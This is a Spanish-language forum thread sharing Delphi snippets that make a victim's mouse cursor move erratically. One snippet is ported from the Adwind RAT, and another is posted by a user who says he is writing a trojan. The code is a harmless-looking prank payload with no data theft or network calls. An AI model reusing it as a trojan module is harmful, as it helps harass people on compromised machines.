Hola, os dejo la traducción que hice a una vieja función en java que hizo Adwind, sirve pues.. para volver loco al ratón durante un tiempo determinado.

La he simplificado un poco.
procedure MouseLoco(Ms: integer);
var
  Tipo: byte;
  Tiempo: dword;
begin
  Tiempo:= gettickcount;
  while gettickcount - Tiempo < Ms do
    begin
      Tipo:= random(4);
      case Tipo of
        0: setcursorpos(mouse.CursorPos.X + 4, mouse.CursorPos.Y + 4);
        1: setcursorpos(mouse.CursorPos.X + 4, mouse.CursorPos.Y - 4);
        2: setcursorpos(mouse.CursorPos.X - 4, mouse.CursorPos.Y - 4);
        3: setcursorpos(mouse.CursorPos.X - 4, mouse.CursorPos.Y + 4);
      end;
      sleep(10);
    end;
end;
Ejemplo:
MouseLoco(20000); //20 segundos
Saludos.
UDTools.net
GitHub: https://github.com/MetalUDT
Metal_Kingdom escribió:Hola, os dejo la traducción que hice a una vieja función en java que hizo Adwind, sirve pues.. para volver loco al ratón durante un tiempo determinado.

La he simplificado un poco.
procedure MouseLoco(Ms: integer);
var
  Tipo: byte;
  Tiempo: dword;
begin
  Tiempo:= gettickcount;
  while gettickcount - Tiempo < Ms do
    begin
      Tipo:= random(4);
      case Tipo of
        0: setcursorpos(mouse.CursorPos.X + 4, mouse.CursorPos.Y + 4);
        1: setcursorpos(mouse.CursorPos.X + 4, mouse.CursorPos.Y - 4);
        2: setcursorpos(mouse.CursorPos.X - 4, mouse.CursorPos.Y - 4);
        3: setcursorpos(mouse.CursorPos.X - 4, mouse.CursorPos.Y + 4);
      end;
      sleep(10);
    end;
end;
Ejemplo:
MouseLoco(20000); //20 segundos
Saludos.

Pues no es por nada pero ese code lo saque del coolvibes, XD checalo
Estoy haciendo un troyano en delphi y hice esto mismo un poco diferente.
function crazy_mouse(number: string): string;
var
  i: Integer;
  code: string;
begin
  code := '';
  For i := 1 to StrToInt(number) do
  begin
    Sleep(1000);
    SetCursorPos(i, i);
  end;
  code := '[+] Crazy Mouse : OK';
  Result := code;
end;
Responder

Volver a “Fuentes”